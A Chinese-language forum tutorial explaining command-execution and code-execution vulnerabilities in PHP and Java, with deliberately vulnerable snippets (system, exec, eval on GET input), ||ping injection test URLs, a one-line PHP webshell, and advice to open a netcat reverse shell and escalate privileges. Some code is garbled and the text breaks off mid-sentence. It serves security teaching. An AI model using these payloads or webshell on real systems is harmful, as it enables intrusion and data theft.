標題:命令執行和代碼執行漏洞詳解

taibeihacker

Moderator

###命令执行定义​

直接調用操作系統命令:
當應用需要調用一些外部程序去處理內容的情況下,就會用到一些執行系統命令的函數。如PHP中的system,exec,shell_exec等,當用戶可以控制命令執行函數中的參數時,將可注入惡意系統命令到正常命令中,造成命令執行攻擊。
命令執行是指攻擊者通過瀏覽器或者其他客戶端軟件提交一些cmd命令(或者bash命令)至服務器程序,服務器程序通過system、eval、exec等函數直接或者間接地調用cmd.exe執行攻擊者提交的命令。
系統命令執行是指應用程序對傳入命令行的參數過濾不嚴格導致惡意用戶能控制最終執行的命令。應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。

###命令执行与代码执行的判断与区别​

參考OWASP的代碼注入和命令注入,其中的相關解釋:可以用下面一句話判斷是代碼執行還是命令執行:執行效果是否受制於語言本身與其安全機制。
代碼執行漏洞指的是可以執行PHP腳本代碼,而命令執行漏洞指的是可以執行系統命令或應用指令(如cmd命令或bash命令)的漏洞。代碼執行漏洞是調用系統命令的漏洞,命令執行漏洞是直接調用系統命令,又稱為os命令執行漏洞。
這裡先給大家看一下兩種漏洞的區別,命令執行長這樣:
image001.png

代碼執行長這樣:
image002.png

1.代码执行​

1. 執行的效果完全受限於語言本身,只能執行當前語言的相關語法,不能達到執行系統命令的程度
2. 執行的效果不完全受限於語言本身
可執行當前語言的相關語法,可達到執行系統命令的程度,但可能受制於語言安全特性本身,得不到正常執行

2.命令执行​

1. 執行的效果不受限於語言語法本身,不受命令本身限制,不能執行當前語言的相關語法,僅能達到間接執行系統命令;
2.可執行當前代碼語言的相關語法,可達到間接執行系統命令的程度,不會受制於語言安全特性本身。

###命令执行漏洞描述​

命令執行漏洞是指代碼未對用戶可控參數做過濾,導致直接帶入執行命令的代碼中,對惡意構造的語句,可被用來執行任意命令。
用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令,可能會允許攻擊者通過改變$PATH或程序執行環境的其他方面來執行一個惡意構造的代碼

###命令执行漏洞原理​

在操作系統中,“、|、||”都可以作為命令連接符使用,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令。
由於開發人員編寫源碼,沒有針對代碼中可執行的特殊函數入口做過濾,導致客戶端可以提交惡意構造語句提交,並交由服務器端執行。在某些應用時,有些會需要調用一些執行系統命令的函數,比如PHP中可以調用外部程序的常見函數:system() , exec() , shell_exec() , passthru() , popen() , proc_popen() 等函數.如果用戶可以控制這些函數的參數,那麼把參數替換成自己的惡意命令可以操作系統一些命令,這就是命令執行。
這裡我用shell_exec 這個函數來演示。
l2anwirndr023625.gif

參數是a ,並傳參給$cmd 這個變量,然後用shell_exec 這個函數來執行,並讓echo 輸出到頁面上來,就是顯示到網頁當中。把CMD命令裡的whoami 這個查詢當前用戶的命令,傳參給a ,然後a 賦值給變量$cmd ,然後shell_exec這個函數,就執行了執行了命令。
jebvcwskpvr23626.gif

###导致命令执行漏洞的原因​

腳本語言(如PHP)優點是簡潔、方便,但也伴隨著一些問題,如速度慢、無法接觸系統底層,如果我們開發的應用(特別是企業級的一些應用)需要一些除去WEB的特殊功能時,就需要調用一些外部程序. 當應用需要調用一些外部程序去處理內容的情況下,就會用到一些執行系統命令的函數。如PHP中的system、exec、shell_exec等,當用戶可以控制命令執行函數中的參數時,將可以注入惡意系統命令到正常命令中,造成命令執行攻擊。
在PHP中可以調用外部程序的常見函數:system、exec、shell_exec、passthru、popen、proc_popen。應用在調用這些函數執行系統命令的時候,如果將用戶的輸入作為系統命令的參數拼接到命令行中,又沒有過濾用戶的輸入的情況下,就會造成命令執行漏洞。

1.代码层过滤不严格​

一些商業應用需要執行命令,商業應用的一些核心代碼可能封裝在二進製文件中,在web應用中通過system函數來調用:system('/bin/program
--arg $arg');

2.系统的漏洞造成命令执行​

bash破殼漏洞(CVE-2014-6271),如果我們控制執行的bash的環境變量,就可以通過破殼漏洞來執行任意代碼。

3.调用第三方组件存在代码执行漏洞​

很典型的就是WordPress中,可以選擇使用
ImageMagick這個常用的圖片處理組件,對用戶上傳的圖片進行處理(默認是ImageMagick庫),造成命令執行。另外JAVA中的命令執行漏洞(struts2/Elasticsearch Groovy等)很常見。
典型的漏洞代碼:
?php
system($GET_[cmd]);
?
http://192.168.188.66/index.php?cmd=||ping -i 30
127.0.0.1
http://192.168.188.66/index.php?cmd=||ping -n 30 127.0.0.1
如果應用程序過濾掉某些命令分隔符,為加大檢測到命令注人漏洞的可能性,還應該輪流向每一個目標參數提交下面的每個測試字符串,並監控應用程序進行響應的時間。
http://192.168.188.66/index.php?cmd=I ping -i 30
127.0.0.1 I
http://192.168.188.66/index.php?cmd=I ping -n 30
127.0.0.1 I
http://192.168.188.66/index.php?cmd=ping -i 30
127.0.0.1
http://192.168.188.66/index.php?cmd=ping -n 30
127.0.0.1
http://192.168.188.66/index.php?cmd=;ping 127.0.0.1 ;
http://192.168.188.66/index.php?cmd= ping -i 30
127.0.0.1 %0a ' ping 127.0.0.1 '
如果發生時間延遲,說明應用程序可能易於受到命令注人攻擊。重複幾次測試過程,
確定延遲不是由於網絡延時或其他異常造成的。可以嘗試更改-n或-i參數的值,並確定經歷的時間延遲是否會隨著提交的值發生對應的變化。使用所發現的任何一個可成功實施攻擊的注人字符串,嘗試注人另一個更有用的命令(如Is或dir),確定是否能夠將命令結果返回到瀏覽器上。
如果不能直接獲得命令執行結果,還可以採用其他方法如下:
可以嘗試打開一條通向自己計算機的帶外通道。嘗試使用TFTP上傳工具至服務器,使用telnet或netcat建立一個通向自己計算機的反向shell,並使用mail命令通過SMTP 發送命令結果。
可以將命令結果重定向到Web根目錄下的一個文件,然後使用瀏覽器直接獲取結果。例如:dir
c:\inetpub\wwwroot\foo.txt,一旦找到注人命令的方法並能夠獲得命令執行結果,就應當城定自己的權限(通過使用whoami或類似命令,或者嘗試向一個受保護的目錄寫人一個無害的文件)。然後就可以設
法提升自己的權限,進而秘密訪問應用程序中的敏感數據,或者通過被攻破的服務器攻擊其他主機。

###命令执行利用条件​

1.代碼中存在調用執行系統命令的函數
2.函數中存在我們可控的點並將用戶輸入作為系統命令的參數拼接到了命令行中
3. 沒有對用戶輸入進行過濾或過濾不嚴

###命令执行和代码执行模型​

1.PHP命令执行与代码执行​

PHP提供了部分函數來執行外部應用程序,例如:system(),shell_exec(),exec()和passthru()。
命令執行:system(),shell_exec(),exec(),passthru(),在使用php.exe傳遞參數時,如果命令中有空格,就用“”(雙引號),linux中用單引號,如:
php.exe cmd.php '|net user'
代碼執行cmd.php中:php eval($_REQUEST['code'])?
提交的數據:http://url/cmd.php?code=phpinfo();
動態函數調用
?php
function A(){return .}
function B(){return .}
$fun=$_request['fun'];
echo $fun();//動態調用函數

如果輸入數據:http://url/function.php?fun=phpinfo就會執行phpinfo()函數。 PHP函數代碼執行漏洞:preg_replace(),ob_start(),array_map()

(1)system函数​

執行shell命令也就是向dos發送一條指令。 system函數可以用來執行一個外部的應用程序並將相應的執行結果輸出,函數原型為:
string system(string command,int
return_var)
其中,command是要執行的命令,return_var存放執行命令的執行後的狀態
示例代碼如下:
?php
$dir=$_GET['dir'];
if(isset($dir))
{
echo
'pre';
system('net
user'.$dir);
echo
'/pre';
}
?
執行結果為:
http://oa8y5guqs.bkt.clouddn.com/command_1.png
上述代碼就是把dir這個命令寫死了,把net user執行的結果給$dir變量。但是注意一些連接符,管道符如:|,||,等,如果我們輸入?dir=| netstat -an
注:|只執行後面的命令,||前後命令都執行。
http://oa8y5guqs.bkt.clouddn.com/command_2.png

(2)exec函数​

執行外部程序,exec函數可以用來執行一個外部的應用程序,函數原型為:
string exec(string command,array output,int
return_var)
其中,command是要執行的命令,output是獲得執行命令輸出的每一行字符串,return_var是存放執行命令後的狀態值。
示例代碼:
?php
$cmd=$_GET['cmd'];
$output=array();
echo 'pre';
exec($cmd,$output);
echo '/pre';
while(list($key,$value)=each($output))
{
echo
$value.'br';
}
?
執行結果為:
http://oa8y5guqs.bkt.clouddn.com/command_3.png

(3)passthru函数​

執行外部程序並且顯示原始輸出,可以看出PHP可以執行系統命令,通過|、||起到命令連接的作用,通過輸入時的合理構造可以使想要執行的命令和原本命令連接執行。 passthru函數可以用來執行一個unix系統命令並顯示原始的輸出,當unix系統令的輸出是二進制的數據,並且需要直接返回值給瀏覽器時,需要使用passthru函數來替代system和exec函數。原型為:
void passthru(string command,int
teturn_var)
其中command是要執行的命令,return_var存放執行命令後的狀態值。
示例代碼如下:
?php
$cmd=$_GET['cmd'];
echo 'pre';
passthru($cmd);
echo '/pre';
?

(4)shell_exec函数​

通過shell 環境執行命令,並且將完整的輸出以字符串的方式返回,函數原型為:
string shell_exec(string command)
其中command是要執行的命令。
?php
$cmd=$_GET['cmd'];
echo 'pre';
shell_exec($cmd);
echo '/pre';
?

(5)`运算符:与shell_exec功能相同,通常用于绕过黑名单​

示例代碼如下:
?php
$cmd=$_GET['cmd'];
$output=`$cmd`;
echo 'pre';
echo $output;
echo '/pre';
?
執行結果為:
http://oa8y5guqs.bkt.clouddn.com/command_4.png

(6)代码执行​

eval()函數可以把字符串當作PHP代碼來執行,也就是可以動態的執行PHP代碼,使用這個函數時要保證輸入的字符串必須屎合法的PHP代碼,且必須以分號結尾。動態函數調用PHP代碼執行漏洞。出來可以利用函數命令注入攻擊方式外還可以使用eval注入攻擊方式,eval函數會將參數字符串作為php程序代碼來執行,用戶可以將php代碼保存成字符串的形式,然後傳遞給eval函數執行。原型為:
mixed eval(string code_str)
其中code_str是php代碼字符串,通過構造傳入eval函數中的全部或部分字符串的內容實現命令注入攻擊。
示例代碼:
?php
$cmd=$_GET['cmd'];
echo 'pre';
eval($cmd);
echo '/pre';
?
如果傳入的內容為phpinfo();若傳入的是一句話木馬?php eval($_POST[cmd]);就可以直接拿shell。
示例結果為:
http://oa8y5guqs.bkt.clouddn.com/command_5.png

2.Java命令执行​

在Java SE中,存在Runtime類,在該類中提供了exec方法用以在單獨的進程中執行特定的字符串命令。像JSP,Servlet,Struts,Spring,Hibernate等技術一般執行外部程序都會調用此用法。開發人員沒有正確使用Runtime類,就有可能造成Java命令執行漏洞。
代碼如下:
Runtime rt=
Runtime.getRuntime();
Process
proc=rt.exec('net user');
p=
Runtime.getRuntime().exec(cmd);
//取得命令結果的輸出流
InputStream
fis=p.getInputStream();
//用一個讀輸出流類去讀
InputStreamReader
isr=new InputStreamReader(fis);
//用緩衝器讀行
BufferedReader
br=new BufferedReader(isr);
String
line=null;
//直到讀完為止
while((line=br.readLine())!=null)
{
System.out.println(line);
}

###常用命令执行函数​

php命令執行漏洞主要是一些函數的參數過濾不嚴格所導致,可以執行OS命令的函數一共有7個:system(), exec(), shell_exec(),
passthru(), pcntl_exec(), popen(), proc_open()另外,反單引號(`)也可以執行命令,不過要調用shell_exec()函數.
1.system(),exec(),shell_exec()和passthru()函數是可以直接傳入命令並且會返回執行結果。如:payload:php system('whoami'); //返回當前web服務器用戶
2.pcntl是php的多進程處理擴展,在處理大量任務的情況下會使用,如:
void
pcntl_exec(string $path, [,array $args [, array $envs]])
3.popen()和proc_open()函數不會直接返回執行結果,而是返回一個文件指針。如:payload:php popen('whoami D:/2.txt','r');
//兩個參數,第二個參數是指針文件的連接模式,有r和w模式
4.反單引號(`)執行命令需要調用shell_exec()函數。
如:payload:php echo `whoami`; //返回當前用戶
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引號` 實際上是使用shell_exec()函數;
system() 輸出並返回最後一行shell結果;
exec() 不輸出結果,返回最後一行shell結果,所有結果可以保存到一個返回的數組裡面。
passthru() 只調用命令,把命令的運行結果原樣地直接輸出到標準輸出設備上;
popen()、proc_open() 不會直接返回執行結果,而是返回一個文件指針
?php
#system('net user');
#passthru ('dir');
#echo exec('whoami');
#echo shell_exec('whoami');
#echo `whoami`;
?

1.shell_exec()​

string
shell_exec ( string$cmd) 執行命令,並將結果作為字符串返回。
返回值:如果執行失敗,則返回NULL。執行成功則返回執行結果字符串。
注意:This function is disabled when PHP is running insafe mode

2.passthru()​

void passthru
( string$command[, int$return_var] )
沒有返回值,函數直接將執行結果返回給瀏覽器。函數第二個參數就是執行狀態碼:返回0表示成功,返回1表示失敗。

3.exec()​

string
exec(string c
 
返回
上方